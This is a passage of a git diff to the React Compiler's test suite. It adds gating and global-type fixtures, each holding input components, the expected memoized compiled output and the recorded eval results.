+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag"; // @gating
+import { createRef, forwardRef } from "react";
+import { Stringify } from "shared-runtime";
+
+const Foo = forwardRef(Foo_withRef);
+const isForgetEnabled_Fixtures_result = isForgetEnabled_Fixtures();
+function Foo_withRef_optimized(props, ref) {
+  const $ = _c(3);
+  let t0;
+  if ($[0] !== props || $[1] !== ref) {
+    t0 = <Stringify ref={ref} {...props} />;
+    $[0] = props;
+    $[1] = ref;
+    $[2] = t0;
+  } else {
+    t0 = $[2];
+  }
+  return t0;
+}
+function Foo_withRef_unoptimized(props, ref) {
+  return <Stringify ref={ref} {...props} />;
+}
+function Foo_withRef(arg0, arg1) {
+  if (isForgetEnabled_Fixtures_result) return Foo_withRef_optimized(arg0, arg1);
+  else return Foo_withRef_unoptimized(arg0, arg1);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval("(...args) => React.createElement(Foo, args)"),
+  params: [{ prop1: 1, prop2: 2, ref: createRef() }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"0":{"prop1":1,"prop2":2,"ref":{"current":null}},"ref":"[[ cyclic ref *3 ]]"}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-use-before-decl-ref.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-use-before-decl-ref.js
new file mode 100644
index 000000000000..a382497d9922
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-use-before-decl-ref.js
@@ -0,0 +1,13 @@
+// @gating
+import {createRef, forwardRef} from 'react';
+import {Stringify} from 'shared-runtime';
+
+const Foo = forwardRef(Foo_withRef);
+function Foo_withRef(props, ref) {
+  return <Stringify ref={ref} {...props} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval('(...args) => React.createElement(Foo, args)'),
+  params: [{prop1: 1, prop2: 2, ref: createRef()}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-use-before-decl.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-use-before-decl.expect.md
new file mode 100644
index 000000000000..937af490f1db
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-use-before-decl.expect.md
@@ -0,0 +1,64 @@
+
+## Input
+
+```javascript
+// @gating
+import {memo} from 'react';
+import {Stringify} from 'shared-runtime';
+
+export default memo(Foo);
+function Foo({prop1, prop2}) {
+  'use memo';
+  return <Stringify prop1={prop1} prop2={prop2} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval('Foo'),
+  params: [{prop1: 1, prop2: 2}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag"; // @gating
+import { memo } from "react";
+import { Stringify } from "shared-runtime";
+
+export default memo(Foo);
+const isForgetEnabled_Fixtures_result = isForgetEnabled_Fixtures();
+function Foo_optimized(t0) {
+  "use memo";
+  const $ = _c(3);
+  const { prop1, prop2 } = t0;
+  let t1;
+  if ($[0] !== prop1 || $[1] !== prop2) {
+    t1 = <Stringify prop1={prop1} prop2={prop2} />;
+    $[0] = prop1;
+    $[1] = prop2;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+function Foo_unoptimized({ prop1, prop2 }) {
+  "use memo";
+  return <Stringify prop1={prop1} prop2={prop2} />;
+}
+function Foo(arg0) {
+  if (isForgetEnabled_Fixtures_result) return Foo_optimized(arg0);
+  else return Foo_unoptimized(arg0);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval("Foo"),
+  params: [{ prop1: 1, prop2: 2 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"prop1":1,"prop2":2}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-use-before-decl.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-use-before-decl.js
new file mode 100644
index 000000000000..d51a7fcac0a4
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-use-before-decl.js
@@ -0,0 +1,14 @@
+// @gating
+import {memo} from 'react';
+import {Stringify} from 'shared-runtime';
+
+export default memo(Foo);
+function Foo({prop1, prop2}) {
+  'use memo';
+  return <Stringify prop1={prop1} prop2={prop2} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval('Foo'),
+  params: [{prop1: 1, prop2: 2}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-with-hoisted-type-reference.flow.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-with-hoisted-type-reference.flow.expect.md
similarity index 77%
rename from compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-with-hoisted-type-reference.flow.expect.md
rename to compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-with-hoisted-type-reference.flow.expect.md
index 61315212ed0c..f81680970c4b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating-with-hoisted-type-reference.flow.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-with-hoisted-type-reference.flow.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 // @flow @gating
-import { memo } from "react";
+import {memo} from 'react';
 
 type Props = React.ElementConfig<typeof Component>;
 
@@ -13,13 +13,18 @@ component Component(value: string) {
 
 export default memo<Props>(Component);
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval('Component'),
+  params: [{value: 'foo'}],
+};
+
 ```
 
 ## Code
 
 ```javascript
-import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag";
 import { c as _c } from "react/compiler-runtime";
+import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag";
 import { memo } from "react";
 
 type Props = React.ElementConfig<typeof Component>;
@@ -43,5 +48,12 @@ const Component = isForgetEnabled_Fixtures()
 
 export default memo<Props>(Component);
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval("Component"),
+  params: [{ value: "foo" }],
+};
+
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) <div>foo</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-with-hoisted-type-reference.flow.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-with-hoisted-type-reference.flow.js
new file mode 100644
index 000000000000..1fe640b6934a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-with-hoisted-type-reference.flow.js
@@ -0,0 +1,15 @@
+// @flow @gating
+import {memo} from 'react';
+
+type Props = React.ElementConfig<typeof Component>;
+
+component Component(value: string) {
+  return <div>{value}</div>;
+}
+
+export default memo<Props>(Component);
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval('Component'),
+  params: [{value: 'foo'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/infer-function-expression-React-memo-gating.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/infer-function-expression-React-memo-gating.expect.md
new file mode 100644
index 000000000000..11067222595a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/infer-function-expression-React-memo-gating.expect.md
@@ -0,0 +1,41 @@
+
+## Input
+
+```javascript
+// @gating @compilationMode:"infer"
+import React from 'react';
+export default React.forwardRef(function notNamedLikeAComponent(props) {
+  return <div />;
+});
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag"; // @gating @compilationMode:"infer"
+import React from "react";
+export default React.forwardRef(
+  isForgetEnabled_Fixtures()
+    ? function notNamedLikeAComponent(props) {
+        const $ = _c(1);
+        let t0;
+        if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+          t0 = <div />;
+          $[0] = t0;
+        } else {
+          t0 = $[0];
+        }
+        return t0;
+      }
+    : function notNamedLikeAComponent(props) {
+        return <div />;
+      },
+);
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
+logs: ['forwardRef render functions accept exactly two parameters: props and ref. %s','Did you forget to use the ref parameter?']
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/infer-function-expression-React-memo-gating.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/infer-function-expression-React-memo-gating.js
new file mode 100644
index 000000000000..518c8eeee384
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/infer-function-expression-React-memo-gating.js
@@ -0,0 +1,5 @@
+// @gating @compilationMode:"infer"
+import React from 'react';
+export default React.forwardRef(function notNamedLikeAComponent(props) {
+  return <div />;
+});
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/invalid-fnexpr-reference.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/invalid-fnexpr-reference.expect.md
new file mode 100644
index 000000000000..cdf9acc2b65b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/invalid-fnexpr-reference.expect.md
@@ -0,0 +1,59 @@
+
+## Input
+
+```javascript
+// @gating
+import * as React from 'react';
+
+let Foo;
+const MemoFoo = React.memo(Foo);
+Foo = () => <div>hello world!</div>;
+
+/**
+ * Evaluate this fixture module to assert that compiler + original have the same
+ * runtime error message.
+ */
+export const FIXTURE_ENTRYPOINT = {
+  fn: () => {},
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag"; // @gating
+import * as React from "react";
+
+let Foo;
+const MemoFoo = React.memo(Foo);
+Foo = isForgetEnabled_Fixtures()
+  ? () => {
+      const $ = _c(1);
+      let t0;
+      if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+        t0 = <div>hello world!</div>;
+        $[0] = t0;
+      } else {
+        t0 = $[0];
+      }
+      return t0;
+    }
+  : () => <div>hello world!</div>;
+
+/**
+ * Evaluate this fixture module to assert that compiler + original have the same
+ * runtime error message.
+ */
+export const FIXTURE_ENTRYPOINT = {
+  fn: isForgetEnabled_Fixtures() ? () => {} : () => {},
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: ok) 
+logs: ['memo: The first argument must be a component. Instead received: %s','undefined']
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/invalid-fnexpr-reference.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/invalid-fnexpr-reference.js
new file mode 100644
index 000000000000..2bdeb76f5898
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/invalid-fnexpr-reference.js
@@ -0,0 +1,15 @@
+// @gating
+import * as React from 'react';
+
+let Foo;
+const MemoFoo = React.memo(Foo);
+Foo = () => <div>hello world!</div>;
+
+/**
+ * Evaluate this fixture module to assert that compiler + original have the same
+ * runtime error message.
+ */
+export const FIXTURE_ENTRYPOINT = {
+  fn: () => {},
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/multi-arrow-expr-export-default-gating-test.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/multi-arrow-expr-export-default-gating-test.expect.md
new file mode 100644
index 000000000000..1300bc8982d7
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/multi-arrow-expr-export-default-gating-test.expect.md
@@ -0,0 +1,68 @@
+
+## Input
+
+```javascript
+// @gating
+import {Stringify} from 'shared-runtime';
+
+const ErrorView = (error, _retry) => <Stringify error={error}></Stringify>;
+
+export default props => (
+  <Foo>
+    <Bar></Bar>
+    <ErrorView></ErrorView>
+  </Foo>
+);
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag"; // @gating
+import { Stringify } from "shared-runtime";
+
+const ErrorView = isForgetEnabled_Fixtures()
+  ? (error, _retry) => {
+      const $ = _c(2);
+      let t0;
+      if ($[0] !== error) {
+        t0 = <Stringify error={error} />;
+        $[0] = error;
+        $[1] = t0;
+      } else {
+        t0 = $[1];
+      }
+      return t0;
+    }
+  : (error, _retry) => <Stringify error={error}></Stringify>;
+
+export default isForgetEnabled_Fixtures()
+  ? (props) => {
+      const $ = _c(1);
+      let t0;
+      if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+        t0 = (
+          <Foo>
+            <Bar />
+            <ErrorView />
+          </Foo>
+        );
+        $[0] = t0;
+      } else {
+        t0 = $[0];
+      }
+      return t0;
+    }
+  : (props) => (
+      <Foo>
+        <Bar></Bar>
+        <ErrorView></ErrorView>
+      </Foo>
+    );
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/multi-arrow-expr-export-default-gating-test.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/multi-arrow-expr-export-default-gating-test.js
new file mode 100644
index 000000000000..e856a290f7f4
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/multi-arrow-expr-export-default-gating-test.js
@@ -0,0 +1,11 @@
+// @gating
+import {Stringify} from 'shared-runtime';
+
+const ErrorView = (error, _retry) => <Stringify error={error}></Stringify>;
+
+export default props => (
+  <Foo>
+    <Bar></Bar>
+    <ErrorView></ErrorView>
+  </Foo>
+);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/multi-arrow-expr-export-gating-test.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/multi-arrow-expr-export-gating-test.expect.md
new file mode 100644
index 000000000000..c8905939391b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/multi-arrow-expr-export-gating-test.expect.md
@@ -0,0 +1,77 @@
+
+## Input
+
+```javascript
+// @gating
+import {Stringify} from 'shared-runtime';
+
+const ErrorView = (error, _retry) => <Stringify error={error}></Stringify>;
+
+export const Renderer = props => (
+  <div>
+    <span></span>
+    <ErrorView></ErrorView>
+  </div>
+);
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval('Renderer'),
+  params: [{}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag"; // @gating
+import { Stringify } from "shared-runtime";
+
+const ErrorView = isForgetEnabled_Fixtures()
+  ? (error, _retry) => {
+      const $ = _c(2);
+      let t0;
+      if ($[0] !== error) {
+        t0 = <Stringify error={error} />;
+        $[0] = error;
+        $[1] = t0;
+      } else {
+        t0 = $[1];
+      }
+      return t0;
+    }
+  : (error, _retry) => <Stringify error={error}></Stringify>;
+
+export const Renderer = isForgetEnabled_Fixtures()
+  ? (props) => {
+      const $ = _c(1);
+      let t0;
+      if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+        t0 = (
+          <div>
+            <span />
+            <ErrorView />
+          </div>
+        );
+        $[0] = t0;
+      } else {
+        t0 = $[0];
+      }
+      return t0;
+    }
+  : (props) => (
+      <div>
+        <span></span>
+        <ErrorView></ErrorView>
+      </div>
+    );
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval("Renderer"),
+  params: [{}],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div><span></span><div>{"error":{}}</div></div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/multi-arrow-expr-export-gating-test.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/multi-arrow-expr-export-gating-test.js
new file mode 100644
index 000000000000..19152d683934
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/multi-arrow-expr-export-gating-test.js
@@ -0,0 +1,16 @@
+// @gating
+import {Stringify} from 'shared-runtime';
+
+const ErrorView = (error, _retry) => <Stringify error={error}></Stringify>;
+
+export const Renderer = props => (
+  <div>
+    <span></span>
+    <ErrorView></ErrorView>
+  </div>
+);
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval('Renderer'),
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/multi-arrow-expr-gating-test.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/multi-arrow-expr-gating-test.expect.md
new file mode 100644
index 000000000000..74be7ac5666a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/multi-arrow-expr-gating-test.expect.md
@@ -0,0 +1,81 @@
+
+## Input
+
+```javascript
+// @gating
+import {Stringify} from 'shared-runtime';
+
+const ErrorView = (error, _retry) => <Stringify error={error}></Stringify>;
+
+const Renderer = props => (
+  <div>
+    <span></span>
+    <ErrorView></ErrorView>
+  </div>
+);
+
+export default Renderer;
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval('Renderer'),
+  params: [{}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag"; // @gating
+import { Stringify } from "shared-runtime";
+
+const ErrorView = isForgetEnabled_Fixtures()
+  ? (error, _retry) => {
+      const $ = _c(2);
+      let t0;
+      if ($[0] !== error) {
+        t0 = <Stringify error={error} />;
+        $[0] = error;
+        $[1] = t0;
+      } else {
+        t0 = $[1];
+      }
+      return t0;
+    }
+  : (error, _retry) => <Stringify error={error}></Stringify>;
+
+const Renderer = isForgetEnabled_Fixtures()
+  ? (props) => {
+      const $ = _c(1);
+      let t0;
+      if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+        t0 = (
+          <div>
+            <span />
+            <ErrorView />
+          </div>
+        );
+        $[0] = t0;
+      } else {
+        t0 = $[0];
+      }
+      return t0;
+    }
+  : (props) => (
+      <div>
+        <span></span>
+        <ErrorView></ErrorView>
+      </div>
+    );
+export default Renderer;
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval("Renderer"),
+  params: [{}],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div><span></span><div>{"error":{}}</div></div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/multi-arrow-expr-gating-test.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/multi-arrow-expr-gating-test.js
new file mode 100644
index 000000000000..ae4fd8dc94cf
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/multi-arrow-expr-gating-test.js
@@ -0,0 +1,18 @@
+// @gating
+import {Stringify} from 'shared-runtime';
+
+const ErrorView = (error, _retry) => <Stringify error={error}></Stringify>;
+
+const Renderer = props => (
+  <div>
+    <span></span>
+    <ErrorView></ErrorView>
+  </div>
+);
+
+export default Renderer;
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: eval('Renderer'),
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/reassigned-fnexpr-variable.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/reassigned-fnexpr-variable.expect.md
new file mode 100644
index 000000000000..267da62b89ab
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/reassigned-fnexpr-variable.expect.md
@@ -0,0 +1,86 @@
+
+## Input
+
+```javascript
+// @gating
+import * as React from 'react';
+
+/**
+ * Test that the correct `Foo` is printed
+ */
+let Foo = () => <div>hello world 1!</div>;
+const MemoOne = React.memo(Foo);
+Foo = () => <div>hello world 2!</div>;
+const MemoTwo = React.memo(Foo);
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: () => {
+    'use no memo';
+    return (
+      <>
+        <MemoOne />
+        <MemoTwo />
+      </>
+    );
+  },
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag"; // @gating
+import * as React from "react";
+
+/**
+ * Test that the correct `Foo` is printed
+ */
+let Foo = isForgetEnabled_Fixtures()
+  ? () => {
+      const $ = _c(1);
+      let t0;
+      if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+        t0 = <div>hello world 1!</div>;
+        $[0] = t0;
+      } else {
+        t0 = $[0];
+      }
+      return t0;
+    }
+  : () => <div>hello world 1!</div>;
+const MemoOne = React.memo(Foo);
+Foo = isForgetEnabled_Fixtures()
+  ? () => {
+      const $ = _c(1);
+      let t0;
+      if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+        t0 = <div>hello world 2!</div>;
+        $[0] = t0;
+      } else {
+        t0 = $[0];
+      }
+      return t0;
+    }
+  : () => <div>hello world 2!</div>;
+const MemoTwo = React.memo(Foo);
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: () => {
+    "use no memo";
+    return (
+      <>
+        <MemoOne />
+        <MemoTwo />
+      </>
+    );
+  },
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>hello world 1!</div><div>hello world 2!</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/reassigned-fnexpr-variable.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/reassigned-fnexpr-variable.js
new file mode 100644
index 000000000000..f2275da7a2c0
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/reassigned-fnexpr-variable.js
@@ -0,0 +1,23 @@
+// @gating
+import * as React from 'react';
+
+/**
+ * Test that the correct `Foo` is printed
+ */
+let Foo = () => <div>hello world 1!</div>;
+const MemoOne = React.memo(Foo);
+Foo = () => <div>hello world 2!</div>;
+const MemoTwo = React.memo(Foo);
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: () => {
+    'use no memo';
+    return (
+      <>
+        <MemoOne />
+        <MemoTwo />
+      </>
+    );
+  },
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/repro-no-gating-import-without-compiled-functions.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/repro-no-gating-import-without-compiled-functions.expect.md
new file mode 100644
index 000000000000..06288dd2bec7
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/repro-no-gating-import-without-compiled-functions.expect.md
@@ -0,0 +1,21 @@
+
+## Input
+
+```javascript
+// @expectNothingCompiled @gating
+import {isForgetEnabled_Fixtures} from 'ReactForgetFeatureFlag';
+
+export default 42;
+
+```
+
+## Code
+
+```javascript
+// @expectNothingCompiled @gating
+import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag";
+
+export default 42;
+
+```
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/repro-no-gating-import-without-compiled-functions.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/repro-no-gating-import-without-compiled-functions.js
new file mode 100644
index 000000000000..56dc60910790
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/repro-no-gating-import-without-compiled-functions.js
@@ -0,0 +1,4 @@
+// @expectNothingCompiled @gating
+import {isForgetEnabled_Fixtures} from 'ReactForgetFeatureFlag';
+
+export default 42;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-jsx-tag-lowered-between-mutations.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-jsx-tag-lowered-between-mutations.expect.md
index e355f58da9af..dbd57bc2f700 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-jsx-tag-lowered-between-mutations.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-jsx-tag-lowered-between-mutations.expect.md
@@ -29,7 +29,6 @@ function Component(props) {
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     const maybeMutable = new MaybeMutable();
-
     t0 = <View>{maybeMutate(maybeMutable)}</View>;
     $[0] = t0;
   } else {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/call-spread-argument-set.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/call-spread-argument-set.expect.md
new file mode 100644
index 000000000000..6882f8f4bded
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/call-spread-argument-set.expect.md
@@ -0,0 +1,66 @@
+
+## Input
+
+```javascript
+import {useIdentity} from 'shared-runtime';
+
+/**
+ * Forked version of call-spread-argument-mutable-iterator that is known to not mutate
+ * the spread argument since it is a Set
+ */
+function useFoo() {
+  const s = new Set([1, 2]);
+  useIdentity(null);
+  return [Math.max(...s), s];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{}],
+  sequentialRenders: [{}, {}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { useIdentity } from "shared-runtime";
+
+/**
+ * Forked version of call-spread-argument-mutable-iterator that is known to not mutate
+ * the spread argument since it is a Set
+ */
+function useFoo() {
+  const $ = _c(2);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = new Set([1, 2]);
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const s = t0;
+  useIdentity(null);
+  let t1;
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = [Math.max(...s), s];
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{}],
+  sequentialRenders: [{}, {}],
+};
+
+```
+      
+### Eval output
+(kind: ok) [2,{"kind":"Set","value":[1,2]}]
+[2,{"kind":"Set","value":[1,2]}]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/call-spread-argument-set.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/call-spread-argument-set.ts
new file mode 100644
index 000000000000..b2746b01683a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/call-spread-argument-set.ts
@@ -0,0 +1,17 @@
+import {useIdentity} from 'shared-runtime';
+
+/**
+ * Forked version of call-spread-argument-mutable-iterator that is known to not mutate
+ * the spread argument since it is a Set
+ */
+function useFoo() {
+  const s = new Set([1, 2]);
+  useIdentity(null);
+  return [Math.max(...s), s];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{}],
+  sequentialRenders: [{}, {}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/map-constructor.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/map-constructor.expect.md
new file mode 100644
index 000000000000..61fe33680fa7
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/map-constructor.expect.md
@@ -0,0 +1,77 @@
+
+## Input
+
+```javascript
+import {makeArray} from 'shared-runtime';
+
+function useHook({el1, el2}) {
+  const s = new Map();
+  s.set(el1, makeArray(el1));
+  s.set(el2, makeArray(el2));
+  return s.size;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useHook,
+  params: [{el1: 1, el2: 'foo'}],
+  sequentialRenders: [
+    {el1: 1, el2: 'foo'},
+    {el1: 2, el2: 'foo'},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { makeArray } from "shared-runtime";
+
+function useHook(t0) {
+  const $ = _c(7);
+  const { el1, el2 } = t0;
+  let s;
+  if ($[0] !== el1 || $[1] !== el2) {
+    s = new Map();
+    let t1;
+    if ($[3] !== el1) {
+      t1 = makeArray(el1);
+      $[3] = el1;
+      $[4] = t1;
+    } else {
+      t1 = $[4];
+    }
+    s.set(el1, t1);
+    let t2;
+    if ($[5] !== el2) {
+      t2 = makeArray(el2);
+      $[5] = el2;
+      $[6] = t2;
+    } else {
+      t2 = $[6];
+    }
+    s.set(el2, t2);
+    $[0] = el1;
+    $[1] = el2;
+    $[2] = s;
+  } else {
+    s = $[2];
+  }
+  return s.size;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useHook,
+  params: [{ el1: 1, el2: "foo" }],
+  sequentialRenders: [
+    { el1: 1, el2: "foo" },
